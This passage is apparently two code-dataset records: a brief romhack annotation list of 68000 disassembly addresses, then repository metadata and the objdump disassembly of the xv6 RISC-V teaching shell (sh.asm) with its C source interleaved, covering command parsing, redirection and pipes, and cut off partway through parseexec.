copyright zengfr site:http://github.com/zengfr/romhack 001B24 move.l #$1f25a, ($64,A0) 001B2C jsr $1702.w [123p+ 64, 123p+ 66] 002516 beq $24f0 [123p+ 64, 123p+ 66, enemy+64, enemy+66] 01A74C dbra D7, $1a74a 01A75E dbra D4, $1a75c 01B6DC move.l #$5e68, ($64,A0) [123p+ 2B] 01B6E4 movea.l #$7087e, A4 [123p+ 64, 123p+ 66] 01BD84 move.l #$2001000, ($28,A0) [123p+ 64, 123p+ 66] 01BE6A jmp $5e68.w [123p+ 64, 123p+ 66] 01BFE8 move.l #$5e56, ($64,A0) [123p+ 1F] 01BFF0 movea.l #$75f02, A4 [123p+ 64, 123p+ 66] 01C408 move.l #$5e68, ($64,A0) [enemy+ 0] 01C410 movea.l #$75ae4, A4 [123p+ 64, 123p+ 66] 01C5FE movea.l #$75b10, A4 [123p+ 64, 123p+ 66] 01CBCA move.l #$1cd24, ($64,A0) [123p+ 7A] 01CBD2 move.w ($c2,A0), D1 [123p+ 64, 123p+ 66] 01CF70 move.l #$5f46, ($64,A0) [123p+ 2B] 01CF78 move.w #$ffc8, ($4a,A0) [123p+ 64, 123p+ 66] 01D01E move.l #$1d058, ($64,A0) [123p+ 94] 01D026 jsr $1702.w [123p+ 64, 123p+ 66] 01D2B6 addi.w #$10, (-$5a,A5) [123p+ 64, 123p+ 66] copyright zengfr site:http://github.com/zengfr/romhack
41.423077
62
0.612813
25b07088fd8a03bf485ab564a63b6ee638b4ee7e
95,770
asm
Assembly
user/sh.asm
Hasnain62/xv6-Procject
93162ef8e9be42a4b506a1f97bcd7e054bc35ffe
[ "MIT-0" ]
null
null
null
user/sh.asm
Hasnain62/xv6-Procject
93162ef8e9be42a4b506a1f97bcd7e054bc35ffe
[ "MIT-0" ]
null
null
null
user/sh.asm
Hasnain62/xv6-Procject
93162ef8e9be42a4b506a1f97bcd7e054bc35ffe
[ "MIT-0" ]
null
null
null
user/_sh: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <getcmd>: exit(0); } int getcmd(char *buf, int nbuf) { 0: 1101 addi sp,sp,-32 2: ec06 sd ra,24(sp) 4: e822 sd s0,16(sp) 6: e426 sd s1,8(sp) 8: e04a sd s2,0(sp) a: 1000 addi s0,sp,32 c: 84aa mv s1,a0 e: 892e mv s2,a1 fprintf(2, "$ "); 10: 00001597 auipc a1,0x1 14: 2f858593 addi a1,a1,760 # 1308 <malloc+0xe6> 18: 4509 li a0,2 1a: 00001097 auipc ra,0x1 1e: 122080e7 jalr 290(ra) # 113c <fprintf> memset(buf, 0, nbuf); 22: 864a mv a2,s2 24: 4581 li a1,0 26: 8526 mv a0,s1 28: 00001097 auipc ra,0x1 2c: ba6080e7 jalr -1114(ra) # bce <memset> gets(buf, nbuf); 30: 85ca mv a1,s2 32: 8526 mv a0,s1 34: 00001097 auipc ra,0x1 38: be0080e7 jalr -1056(ra) # c14 <gets> if(buf[0] == 0) // EOF 3c: 0004c503 lbu a0,0(s1) 40: 00153513 seqz a0,a0 return -1; return 0; } 44: 40a00533 neg a0,a0 48: 60e2 ld ra,24(sp) 4a: 6442 ld s0,16(sp) 4c: 64a2 ld s1,8(sp) 4e: 6902 ld s2,0(sp) 50: 6105 addi sp,sp,32 52: 8082 ret 0000000000000054 <panic>: exit(0); } void panic(char *s) { 54: 1141 addi sp,sp,-16 56: e406 sd ra,8(sp) 58: e022 sd s0,0(sp) 5a: 0800 addi s0,sp,16 5c: 862a mv a2,a0 fprintf(2, "%s\n", s); 5e: 00001597 auipc a1,0x1 62: 2b258593 addi a1,a1,690 # 1310 <malloc+0xee> 66: 4509 li a0,2 68: 00001097 auipc ra,0x1 6c: 0d4080e7 jalr 212(ra) # 113c <fprintf> exit(1); 70: 4505 li a0,1 72: 00001097 auipc ra,0x1 76: d56080e7 jalr -682(ra) # dc8 <exit> 000000000000007a <fork1>: } int fork1(void) { 7a: 1141 addi sp,sp,-16 7c: e406 sd ra,8(sp) 7e: e022 sd s0,0(sp) 80: 0800 addi s0,sp,16 int pid; pid = fork(); 82: 00001097 auipc ra,0x1 86: d3e080e7 jalr -706(ra) # dc0 <fork> if(pid == -1) 8a: 57fd li a5,-1 8c: 00f50663 beq a0,a5,98 <fork1+0x1e> panic("fork"); return pid; } 90: 60a2 ld ra,8(sp) 92: 6402 ld s0,0(sp) 94: 0141 addi sp,sp,16 96: 8082 ret panic("fork"); 98: 00001517 auipc a0,0x1 9c: 28050513 addi a0,a0,640 # 1318 <malloc+0xf6> a0: 00000097 auipc ra,0x0 a4: fb4080e7 jalr -76(ra) # 54 <panic> 00000000000000a8 <runcmd>: { a8: 7179 addi sp,sp,-48 aa: f406 sd ra,40(sp) ac: f022 sd s0,32(sp) ae: ec26 sd s1,24(sp) b0: 1800 addi s0,sp,48 if(cmd == 0) b2: c10d beqz a0,d4 <runcmd+0x2c> b4: 84aa mv s1,a0 switch(cmd->type){ b6: 4118 lw a4,0(a0) b8: 4795 li a5,5 ba: 02e7e263 bltu a5,a4,de <runcmd+0x36> be: 00056783 lwu a5,0(a0) c2: 078a slli a5,a5,0x2 c4: 00001717 auipc a4,0x1 c8: 35470713 addi a4,a4,852 # 1418 <malloc+0x1f6> cc: 97ba add a5,a5,a4 ce: 439c lw a5,0(a5) d0: 97ba add a5,a5,a4 d2: 8782 jr a5 exit(1); d4: 4505 li a0,1 d6: 00001097 auipc ra,0x1 da: cf2080e7 jalr -782(ra) # dc8 <exit> panic("runcmd"); de: 00001517 auipc a0,0x1 e2: 24250513 addi a0,a0,578 # 1320 <malloc+0xfe> e6: 00000097 auipc ra,0x0 ea: f6e080e7 jalr -146(ra) # 54 <panic> if(ecmd->argv[0] == 0) ee: 6508 ld a0,8(a0) f0: c515 beqz a0,11c <runcmd+0x74> exec(ecmd->argv[0], ecmd->argv); f2: 00848593 addi a1,s1,8 f6: 00001097 auipc ra,0x1 fa: d0a080e7 jalr -758(ra) # e00 <exec> fprintf(2, "exec %s failed\n", ecmd->argv[0]); fe: 6490 ld a2,8(s1) 100: 00001597 auipc a1,0x1 104: 22858593 addi a1,a1,552 # 1328 <malloc+0x106> 108: 4509 li a0,2 10a: 00001097 auipc ra,0x1 10e: 032080e7 jalr 50(ra) # 113c <fprintf> exit(0); 112: 4501 li a0,0 114: 00001097 auipc ra,0x1 118: cb4080e7 jalr -844(ra) # dc8 <exit> exit(1); 11c: 4505 li a0,1 11e: 00001097 auipc ra,0x1 122: caa080e7 jalr -854(ra) # dc8 <exit> close(rcmd->fd); 126: 5148 lw a0,36(a0) 128: 00001097 auipc ra,0x1 12c: cc8080e7 jalr -824(ra) # df0 <close> if(open(rcmd->file, rcmd->mode) < 0){ 130: 508c lw a1,32(s1) 132: 6888 ld a0,16(s1) 134: 00001097 auipc ra,0x1 138: cd4080e7 jalr -812(ra) # e08 <open> 13c: 00054763 bltz a0,14a <runcmd+0xa2> runcmd(rcmd->cmd); 140: 6488 ld a0,8(s1) 142: 00000097 auipc ra,0x0 146: f66080e7 jalr -154(ra) # a8 <runcmd> fprintf(2, "open %s failed\n", rcmd->file); 14a: 6890 ld a2,16(s1) 14c: 00001597 auipc a1,0x1 150: 1ec58593 addi a1,a1,492 # 1338 <malloc+0x116> 154: 4509 li a0,2 156: 00001097 auipc ra,0x1 15a: fe6080e7 jalr -26(ra) # 113c <fprintf> exit(1); 15e: 4505 li a0,1 160: 00001097 auipc ra,0x1 164: c68080e7 jalr -920(ra) # dc8 <exit> if(fork1() == 0) 168: 00000097 auipc ra,0x0 16c: f12080e7 jalr -238(ra) # 7a <fork1> 170: c919 beqz a0,186 <runcmd+0xde> wait(0); 172: 4501 li a0,0 174: 00001097 auipc ra,0x1 178: c5c080e7 jalr -932(ra) # dd0 <wait> runcmd(lcmd->right); 17c: 6888 ld a0,16(s1) 17e: 00000097 auipc ra,0x0 182: f2a080e7 jalr -214(ra) # a8 <runcmd> runcmd(lcmd->left); 186: 6488 ld a0,8(s1) 188: 00000097 auipc ra,0x0 18c: f20080e7 jalr -224(ra) # a8 <runcmd> if(pipe(p) < 0) 190: fd840513 addi a0,s0,-40 194: 00001097 auipc ra,0x1 198: c44080e7 jalr -956(ra) # dd8 <pipe> 19c: 04054363 bltz a0,1e2 <runcmd+0x13a> if(fork1() == 0){ 1a0: 00000097 auipc ra,0x0 1a4: eda080e7 jalr -294(ra) # 7a <fork1> 1a8: c529 beqz a0,1f2 <runcmd+0x14a> if(fork1() == 0){ 1aa: 00000097 auipc ra,0x0 1ae: ed0080e7 jalr -304(ra) # 7a <fork1> 1b2: cd25 beqz a0,22a <runcmd+0x182> close(p[0]); 1b4: fd842503 lw a0,-40(s0) 1b8: 00001097 auipc ra,0x1 1bc: c38080e7 jalr -968(ra) # df0 <close> close(p[1]); 1c0: fdc42503 lw a0,-36(s0) 1c4: 00001097 auipc ra,0x1 1c8: c2c080e7 jalr -980(ra) # df0 <close> wait(0); 1cc: 4501 li a0,0 1ce: 00001097 auipc ra,0x1 1d2: c02080e7 jalr -1022(ra) # dd0 <wait> wait(0); 1d6: 4501 li a0,0 1d8: 00001097 auipc ra,0x1 1dc: bf8080e7 jalr -1032(ra) # dd0 <wait> break; 1e0: bf0d j 112 <runcmd+0x6a> panic("pipe"); 1e2: 00001517 auipc a0,0x1 1e6: 16650513 addi a0,a0,358 # 1348 <malloc+0x126> 1ea: 00000097 auipc ra,0x0 1ee: e6a080e7 jalr -406(ra) # 54 <panic> close(1); 1f2: 4505 li a0,1 1f4: 00001097 auipc ra,0x1 1f8: bfc080e7 jalr -1028(ra) # df0 <close> dup(p[1]); 1fc: fdc42503 lw a0,-36(s0) 200: 00001097 auipc ra,0x1 204: c40080e7 jalr -960(ra) # e40 <dup> close(p[0]); 208: fd842503 lw a0,-40(s0) 20c: 00001097 auipc ra,0x1 210: be4080e7 jalr -1052(ra) # df0 <close> close(p[1]); 214: fdc42503 lw a0,-36(s0) 218: 00001097 auipc ra,0x1 21c: bd8080e7 jalr -1064(ra) # df0 <close> runcmd(pcmd->left); 220: 6488 ld a0,8(s1) 222: 00000097 auipc ra,0x0 226: e86080e7 jalr -378(ra) # a8 <runcmd> close(0); 22a: 00001097 auipc ra,0x1 22e: bc6080e7 jalr -1082(ra) # df0 <close> dup(p[0]); 232: fd842503 lw a0,-40(s0) 236: 00001097 auipc ra,0x1 23a: c0a080e7 jalr -1014(ra) # e40 <dup> close(p[0]); 23e: fd842503 lw a0,-40(s0) 242: 00001097 auipc ra,0x1 246: bae080e7 jalr -1106(ra) # df0 <close> close(p[1]); 24a: fdc42503 lw a0,-36(s0) 24e: 00001097 auipc ra,0x1 252: ba2080e7 jalr -1118(ra) # df0 <close> runcmd(pcmd->right); 256: 6888 ld a0,16(s1) 258: 00000097 auipc ra,0x0 25c: e50080e7 jalr -432(ra) # a8 <runcmd> if(fork1() == 0) 260: 00000097 auipc ra,0x0 264: e1a080e7 jalr -486(ra) # 7a <fork1> 268: ea0515e3 bnez a0,112 <runcmd+0x6a> runcmd(bcmd->cmd); 26c: 6488 ld a0,8(s1) 26e: 00000097 auipc ra,0x0 272: e3a080e7 jalr -454(ra) # a8 <runcmd> 0000000000000276 <execcmd>: //PAGEBREAK! // Constructors struct cmd* execcmd(void) { 276: 1101 addi sp,sp,-32 278: ec06 sd ra,24(sp) 27a: e822 sd s0,16(sp) 27c: e426 sd s1,8(sp) 27e: 1000 addi s0,sp,32 struct execcmd *cmd; cmd = malloc(sizeof(*cmd)); 280: 0a800513 li a0,168 284: 00001097 auipc ra,0x1 288: f9e080e7 jalr -98(ra) # 1222 <malloc> 28c: 84aa mv s1,a0 memset(cmd, 0, sizeof(*cmd)); 28e: 0a800613 li a2,168 292: 4581 li a1,0 294: 00001097 auipc ra,0x1 298: 93a080e7 jalr -1734(ra) # bce <memset> cmd->type = EXEC; 29c: 4785 li a5,1 29e: c09c sw a5,0(s1) return (struct cmd*)cmd; } 2a0: 8526 mv a0,s1 2a2: 60e2 ld ra,24(sp) 2a4: 6442 ld s0,16(sp) 2a6: 64a2 ld s1,8(sp) 2a8: 6105 addi sp,sp,32 2aa: 8082 ret 00000000000002ac <redircmd>: struct cmd* redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd) { 2ac: 7139 addi sp,sp,-64 2ae: fc06 sd ra,56(sp) 2b0: f822 sd s0,48(sp) 2b2: f426 sd s1,40(sp) 2b4: f04a sd s2,32(sp) 2b6: ec4e sd s3,24(sp) 2b8: e852 sd s4,16(sp) 2ba: e456 sd s5,8(sp) 2bc: e05a sd s6,0(sp) 2be: 0080 addi s0,sp,64 2c0: 8b2a mv s6,a0 2c2: 8aae mv s5,a1 2c4: 8a32 mv s4,a2 2c6: 89b6 mv s3,a3 2c8: 893a mv s2,a4 struct redircmd *cmd; cmd = malloc(sizeof(*cmd)); 2ca: 02800513 li a0,40 2ce: 00001097 auipc ra,0x1 2d2: f54080e7 jalr -172(ra) # 1222 <malloc> 2d6: 84aa mv s1,a0 memset(cmd, 0, sizeof(*cmd)); 2d8: 02800613 li a2,40 2dc: 4581 li a1,0 2de: 00001097 auipc ra,0x1 2e2: 8f0080e7 jalr -1808(ra) # bce <memset> cmd->type = REDIR; 2e6: 4789 li a5,2 2e8: c09c sw a5,0(s1) cmd->cmd = subcmd; 2ea: 0164b423 sd s6,8(s1) cmd->file = file; 2ee: 0154b823 sd s5,16(s1) cmd->efile = efile; 2f2: 0144bc23 sd s4,24(s1) cmd->mode = mode; 2f6: 0334a023 sw s3,32(s1) cmd->fd = fd; 2fa: 0324a223 sw s2,36(s1) return (struct cmd*)cmd; } 2fe: 8526 mv a0,s1 300: 70e2 ld ra,56(sp) 302: 7442 ld s0,48(sp) 304: 74a2 ld s1,40(sp) 306: 7902 ld s2,32(sp) 308: 69e2 ld s3,24(sp) 30a: 6a42 ld s4,16(sp) 30c: 6aa2 ld s5,8(sp) 30e: 6b02 ld s6,0(sp) 310: 6121 addi sp,sp,64 312: 8082 ret 0000000000000314 <pipecmd>: struct cmd* pipecmd(struct cmd *left, struct cmd *right) { 314: 7179 addi sp,sp,-48 316: f406 sd ra,40(sp) 318: f022 sd s0,32(sp) 31a: ec26 sd s1,24(sp) 31c: e84a sd s2,16(sp) 31e: e44e sd s3,8(sp) 320: 1800 addi s0,sp,48 322: 89aa mv s3,a0 324: 892e mv s2,a1 struct pipecmd *cmd; cmd = malloc(sizeof(*cmd)); 326: 4561 li a0,24 328: 00001097 auipc ra,0x1 32c: efa080e7 jalr -262(ra) # 1222 <malloc> 330: 84aa mv s1,a0 memset(cmd, 0, sizeof(*cmd)); 332: 4661 li a2,24 334: 4581 li a1,0 336: 00001097 auipc ra,0x1 33a: 898080e7 jalr -1896(ra) # bce <memset> cmd->type = PIPE; 33e: 478d li a5,3 340: c09c sw a5,0(s1) cmd->left = left; 342: 0134b423 sd s3,8(s1) cmd->right = right; 346: 0124b823 sd s2,16(s1) return (struct cmd*)cmd; } 34a: 8526 mv a0,s1 34c: 70a2 ld ra,40(sp) 34e: 7402 ld s0,32(sp) 350: 64e2 ld s1,24(sp) 352: 6942 ld s2,16(sp) 354: 69a2 ld s3,8(sp) 356: 6145 addi sp,sp,48 358: 8082 ret 000000000000035a <listcmd>: struct cmd* listcmd(struct cmd *left, struct cmd *right) { 35a: 7179 addi sp,sp,-48 35c: f406 sd ra,40(sp) 35e: f022 sd s0,32(sp) 360: ec26 sd s1,24(sp) 362: e84a sd s2,16(sp) 364: e44e sd s3,8(sp) 366: 1800 addi s0,sp,48 368: 89aa mv s3,a0 36a: 892e mv s2,a1 struct listcmd *cmd; cmd = malloc(sizeof(*cmd)); 36c: 4561 li a0,24 36e: 00001097 auipc ra,0x1 372: eb4080e7 jalr -332(ra) # 1222 <malloc> 376: 84aa mv s1,a0 memset(cmd, 0, sizeof(*cmd)); 378: 4661 li a2,24 37a: 4581 li a1,0 37c: 00001097 auipc ra,0x1 380: 852080e7 jalr -1966(ra) # bce <memset> cmd->type = LIST; 384: 4791 li a5,4 386: c09c sw a5,0(s1) cmd->left = left; 388: 0134b423 sd s3,8(s1) cmd->right = right; 38c: 0124b823 sd s2,16(s1) return (struct cmd*)cmd; } 390: 8526 mv a0,s1 392: 70a2 ld ra,40(sp) 394: 7402 ld s0,32(sp) 396: 64e2 ld s1,24(sp) 398: 6942 ld s2,16(sp) 39a: 69a2 ld s3,8(sp) 39c: 6145 addi sp,sp,48 39e: 8082 ret 00000000000003a0 <backcmd>: struct cmd* backcmd(struct cmd *subcmd) { 3a0: 1101 addi sp,sp,-32 3a2: ec06 sd ra,24(sp) 3a4: e822 sd s0,16(sp) 3a6: e426 sd s1,8(sp) 3a8: e04a sd s2,0(sp) 3aa: 1000 addi s0,sp,32 3ac: 892a mv s2,a0 struct backcmd *cmd; cmd = malloc(sizeof(*cmd)); 3ae: 4541 li a0,16 3b0: 00001097 auipc ra,0x1 3b4: e72080e7 jalr -398(ra) # 1222 <malloc> 3b8: 84aa mv s1,a0 memset(cmd, 0, sizeof(*cmd)); 3ba: 4641 li a2,16 3bc: 4581 li a1,0 3be: 00001097 auipc ra,0x1 3c2: 810080e7 jalr -2032(ra) # bce <memset> cmd->type = BACK; 3c6: 4795 li a5,5 3c8: c09c sw a5,0(s1) cmd->cmd = subcmd; 3ca: 0124b423 sd s2,8(s1) return (struct cmd*)cmd; } 3ce: 8526 mv a0,s1 3d0: 60e2 ld ra,24(sp) 3d2: 6442 ld s0,16(sp) 3d4: 64a2 ld s1,8(sp) 3d6: 6902 ld s2,0(sp) 3d8: 6105 addi sp,sp,32 3da: 8082 ret 00000000000003dc <gettoken>: char whitespace[] = " \t\r\n\v"; char symbols[] = "<|>&;()"; int gettoken(char **ps, char *es, char **q, char **eq) { 3dc: 7139 addi sp,sp,-64 3de: fc06 sd ra,56(sp) 3e0: f822 sd s0,48(sp) 3e2: f426 sd s1,40(sp) 3e4: f04a sd s2,32(sp) 3e6: ec4e sd s3,24(sp) 3e8: e852 sd s4,16(sp) 3ea: e456 sd s5,8(sp) 3ec: e05a sd s6,0(sp) 3ee: 0080 addi s0,sp,64 3f0: 8a2a mv s4,a0 3f2: 892e mv s2,a1 3f4: 8ab2 mv s5,a2 3f6: 8b36 mv s6,a3 char *s; int ret; s = *ps; 3f8: 6104 ld s1,0(a0) while(s < es && strchr(whitespace, *s)) 3fa: 00001997 auipc s3,0x1 3fe: 0ce98993 addi s3,s3,206 # 14c8 <whitespace> 402: 00b4fe63 bgeu s1,a1,41e <gettoken+0x42> 406: 0004c583 lbu a1,0(s1) 40a: 854e mv a0,s3 40c: 00000097 auipc ra,0x0 410: 7e4080e7 jalr 2020(ra) # bf0 <strchr> 414: c509 beqz a0,41e <gettoken+0x42> s++; 416: 0485 addi s1,s1,1 while(s < es && strchr(whitespace, *s)) 418: fe9917e3 bne s2,s1,406 <gettoken+0x2a> s++; 41c: 84ca mv s1,s2 if(q) 41e: 000a8463 beqz s5,426 <gettoken+0x4a> *q = s; 422: 009ab023 sd s1,0(s5) ret = *s; 426: 0004c783 lbu a5,0(s1) 42a: 00078a9b sext.w s5,a5 switch(*s){ 42e: 03c00713 li a4,60 432: 06f76663 bltu a4,a5,49e <gettoken+0xc2> 436: 03a00713 li a4,58 43a: 00f76e63 bltu a4,a5,456 <gettoken+0x7a> 43e: cf89 beqz a5,458 <gettoken+0x7c> 440: 02600713 li a4,38 444: 00e78963 beq a5,a4,456 <gettoken+0x7a> 448: fd87879b addiw a5,a5,-40 44c: 0ff7f793 zext.b a5,a5 450: 4705 li a4,1 452: 06f76d63 bltu a4,a5,4cc <gettoken+0xf0> case '(': case ')': case ';': case '&': case '<': s++; 456: 0485 addi s1,s1,1 ret = 'a'; while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) s++; break; } if(eq) 458: 000b0463 beqz s6,460 <gettoken+0x84> *eq = s; 45c: 009b3023 sd s1,0(s6) while(s < es && strchr(whitespace, *s)) 460: 00001997 auipc s3,0x1 464: 06898993 addi s3,s3,104 # 14c8 <whitespace> 468: 0124fe63 bgeu s1,s2,484 <gettoken+0xa8> 46c: 0004c583 lbu a1,0(s1) 470: 854e mv a0,s3 472: 00000097 auipc ra,0x0 476: 77e080e7 jalr 1918(ra) # bf0 <strchr> 47a: c509 beqz a0,484 <gettoken+0xa8> s++; 47c: 0485 addi s1,s1,1 while(s < es && strchr(whitespace, *s)) 47e: fe9917e3 bne s2,s1,46c <gettoken+0x90> s++; 482: 84ca mv s1,s2 *ps = s; 484: 009a3023 sd s1,0(s4) return ret; } 488: 8556 mv a0,s5 48a: 70e2 ld ra,56(sp) 48c: 7442 ld s0,48(sp) 48e: 74a2 ld s1,40(sp) 490: 7902 ld s2,32(sp) 492: 69e2 ld s3,24(sp) 494: 6a42 ld s4,16(sp) 496: 6aa2 ld s5,8(sp) 498: 6b02 ld s6,0(sp) 49a: 6121 addi sp,sp,64 49c: 8082 ret switch(*s){ 49e: 03e00713 li a4,62 4a2: 02e79163 bne a5,a4,4c4 <gettoken+0xe8> s++; 4a6: 00148693 addi a3,s1,1 if(*s == '>'){ 4aa: 0014c703 lbu a4,1(s1) 4ae: 03e00793 li a5,62 s++; 4b2: 0489 addi s1,s1,2 ret = '+'; 4b4: 02b00a93 li s5,43 if(*s == '>'){ 4b8: faf700e3 beq a4,a5,458 <gettoken+0x7c> s++; 4bc: 84b6 mv s1,a3 ret = *s; 4be: 03e00a93 li s5,62 4c2: bf59 j 458 <gettoken+0x7c> switch(*s){ 4c4: 07c00713 li a4,124 4c8: f8e787e3 beq a5,a4,456 <gettoken+0x7a> while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 4cc: 00001997 auipc s3,0x1 4d0: ffc98993 addi s3,s3,-4 # 14c8 <whitespace> 4d4: 00001a97 auipc s5,0x1 4d8: feca8a93 addi s5,s5,-20 # 14c0 <symbols> 4dc: 0324f663 bgeu s1,s2,508 <gettoken+0x12c> 4e0: 0004c583 lbu a1,0(s1) 4e4: 854e mv a0,s3 4e6: 00000097 auipc ra,0x0 4ea: 70a080e7 jalr 1802(ra) # bf0 <strchr> 4ee: e50d bnez a0,518 <gettoken+0x13c> 4f0: 0004c583 lbu a1,0(s1) 4f4: 8556 mv a0,s5 4f6: 00000097 auipc ra,0x0 4fa: 6fa080e7 jalr 1786(ra) # bf0 <strchr> 4fe: e911 bnez a0,512 <gettoken+0x136> s++; 500: 0485 addi s1,s1,1 while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 502: fc991fe3 bne s2,s1,4e0 <gettoken+0x104> s++; 506: 84ca mv s1,s2 if(eq) 508: 06100a93 li s5,97 50c: f40b18e3 bnez s6,45c <gettoken+0x80> 510: bf95 j 484 <gettoken+0xa8> ret = 'a'; 512: 06100a93 li s5,97 516: b789 j 458 <gettoken+0x7c> 518: 06100a93 li s5,97 51c: bf35 j 458 <gettoken+0x7c> 000000000000051e <peek>: int peek(char **ps, char *es, char *toks) { 51e: 7139 addi sp,sp,-64 520: fc06 sd ra,56(sp) 522: f822 sd s0,48(sp) 524: f426 sd s1,40(sp) 526: f04a sd s2,32(sp) 528: ec4e sd s3,24(sp) 52a: e852 sd s4,16(sp) 52c: e456 sd s5,8(sp) 52e: 0080 addi s0,sp,64 530: 8a2a mv s4,a0 532: 892e mv s2,a1 534: 8ab2 mv s5,a2 char *s; s = *ps; 536: 6104 ld s1,0(a0) while(s < es && strchr(whitespace, *s)) 538: 00001997 auipc s3,0x1 53c: f9098993 addi s3,s3,-112 # 14c8 <whitespace> 540: 00b4fe63 bgeu s1,a1,55c <peek+0x3e> 544: 0004c583 lbu a1,0(s1) 548: 854e mv a0,s3 54a: 00000097 auipc ra,0x0 54e: 6a6080e7 jalr 1702(ra) # bf0 <strchr> 552: c509 beqz a0,55c <peek+0x3e> s++; 554: 0485 addi s1,s1,1 while(s < es && strchr(whitespace, *s)) 556: fe9917e3 bne s2,s1,544 <peek+0x26> s++; 55a: 84ca mv s1,s2 *ps = s; 55c: 009a3023 sd s1,0(s4) return *s && strchr(toks, *s); 560: 0004c583 lbu a1,0(s1) 564: 4501 li a0,0 566: e991 bnez a1,57a <peek+0x5c> } 568: 70e2 ld ra,56(sp) 56a: 7442 ld s0,48(sp) 56c: 74a2 ld s1,40(sp) 56e: 7902 ld s2,32(sp) 570: 69e2 ld s3,24(sp) 572: 6a42 ld s4,16(sp) 574: 6aa2 ld s5,8(sp) 576: 6121 addi sp,sp,64 578: 8082 ret return *s && strchr(toks, *s); 57a: 8556 mv a0,s5 57c: 00000097 auipc ra,0x0 580: 674080e7 jalr 1652(ra) # bf0 <strchr> 584: 00a03533 snez a0,a0 588: b7c5 j 568 <peek+0x4a> 000000000000058a <parseredirs>: return cmd; } struct cmd* parseredirs(struct cmd *cmd, char **ps, char *es) { 58a: 7159 addi sp,sp,-112 58c: f486 sd ra,104(sp) 58e: f0a2 sd s0,96(sp) 590: eca6 sd s1,88(sp) 592: e8ca sd s2,80(sp) 594: e4ce sd s3,72(sp) 596: e0d2 sd s4,64(sp) 598: fc56 sd s5,56(sp) 59a: f85a sd s6,48(sp) 59c: f45e sd s7,40(sp) 59e: f062 sd s8,32(sp) 5a0: ec66 sd s9,24(sp) 5a2: 1880 addi s0,sp,112 5a4: 8a2a mv s4,a0 5a6: 89ae mv s3,a1 5a8: 8932 mv s2,a2 int tok; char *q, *eq; while(peek(ps, es, "<>")){ 5aa: 00001b97 auipc s7,0x1 5ae: dc6b8b93 addi s7,s7,-570 # 1370 <malloc+0x14e> tok = gettoken(ps, es, 0, 0); if(gettoken(ps, es, &q, &eq) != 'a') 5b2: 06100c13 li s8,97 panic("missing file for redirection"); switch(tok){ 5b6: 03c00c93 li s9,60 while(peek(ps, es, "<>")){ 5ba: a02d j 5e4 <parseredirs+0x5a> panic("missing file for redirection"); 5bc: 00001517 auipc a0,0x1 5c0: d9450513 addi a0,a0,-620 # 1350 <malloc+0x12e> 5c4: 00000097 auipc ra,0x0 5c8: a90080e7 jalr -1392(ra) # 54 <panic> case '<': cmd = redircmd(cmd, q, eq, O_RDONLY, 0); 5cc: 4701 li a4,0 5ce: 4681 li a3,0 5d0: f9043603 ld a2,-112(s0) 5d4: f9843583 ld a1,-104(s0) 5d8: 8552 mv a0,s4 5da: 00000097 auipc ra,0x0 5de: cd2080e7 jalr -814(ra) # 2ac <redircmd> 5e2: 8a2a mv s4,a0 switch(tok){ 5e4: 03e00b13 li s6,62 5e8: 02b00a93 li s5,43 while(peek(ps, es, "<>")){ 5ec: 865e mv a2,s7 5ee: 85ca mv a1,s2 5f0: 854e mv a0,s3 5f2: 00000097 auipc ra,0x0 5f6: f2c080e7 jalr -212(ra) # 51e <peek> 5fa: c925 beqz a0,66a <parseredirs+0xe0> tok = gettoken(ps, es, 0, 0); 5fc: 4681 li a3,0 5fe: 4601 li a2,0 600: 85ca mv a1,s2 602: 854e mv a0,s3 604: 00000097 auipc ra,0x0 608: dd8080e7 jalr -552(ra) # 3dc <gettoken> 60c: 84aa mv s1,a0 if(gettoken(ps, es, &q, &eq) != 'a') 60e: f9040693 addi a3,s0,-112 612: f9840613 addi a2,s0,-104 616: 85ca mv a1,s2 618: 854e mv a0,s3 61a: 00000097 auipc ra,0x0 61e: dc2080e7 jalr -574(ra) # 3dc <gettoken> 622: f9851de3 bne a0,s8,5bc <parseredirs+0x32> switch(tok){ 626: fb9483e3 beq s1,s9,5cc <parseredirs+0x42> 62a: 03648263 beq s1,s6,64e <parseredirs+0xc4> 62e: fb549fe3 bne s1,s5,5ec <parseredirs+0x62> break; case '>': cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE|O_TRUNC, 1); break; case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); 632: 4705 li a4,1 634: 20100693 li a3,513 638: f9043603 ld a2,-112(s0) 63c: f9843583 ld a1,-104(s0) 640: 8552 mv a0,s4 642: 00000097 auipc ra,0x0 646: c6a080e7 jalr -918(ra) # 2ac <redircmd> 64a: 8a2a mv s4,a0 break; 64c: bf61 j 5e4 <parseredirs+0x5a> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE|O_TRUNC, 1); 64e: 4705 li a4,1 650: 60100693 li a3,1537 654: f9043603 ld a2,-112(s0) 658: f9843583 ld a1,-104(s0) 65c: 8552 mv a0,s4 65e: 00000097 auipc ra,0x0 662: c4e080e7 jalr -946(ra) # 2ac <redircmd> 666: 8a2a mv s4,a0 break; 668: bfb5 j 5e4 <parseredirs+0x5a> } } return cmd; } 66a: 8552 mv a0,s4 66c: 70a6 ld ra,104(sp) 66e: 7406 ld s0,96(sp) 670: 64e6 ld s1,88(sp) 672: 6946 ld s2,80(sp) 674: 69a6 ld s3,72(sp) 676: 6a06 ld s4,64(sp) 678: 7ae2 ld s5,56(sp) 67a: 7b42 ld s6,48(sp) 67c: 7ba2 ld s7,40(sp) 67e: 7c02 ld s8,32(sp) 680: 6ce2 ld s9,24(sp) 682: 6165 addi sp,sp,112 684: 8082 ret 0000000000000686 <parseexec>: return cmd; } struct cmd* parseexec(char **ps, char *es) { 686: 7159 addi sp,sp,-112 688: f486 sd ra,104(sp) 68a: f0a2 sd s0,96(sp) 68c: eca6 sd s1,88(sp) 68e: e8ca sd s2,80(sp) 690: e4ce sd s3,72(sp) 692: e0d2 sd s4,64(sp) 694: fc56 sd s5,56(sp) 696: f85a sd s6,48(sp) 698: f45e sd s7,40(sp) 69a: f062 sd s8,32(sp) 69c: ec66 sd s9,24(sp) 69e: 1880 addi s0,sp,112 6a0: 8a2a mv s4,a0 6a2: 8aae mv s5,a1 char *q, *eq; int tok, argc; struct execcmd *cmd; struct cmd *ret; if(peek(ps, es, "(")) 6a4: 00001617 auipc a2,0x1 6a8: cd460613 addi 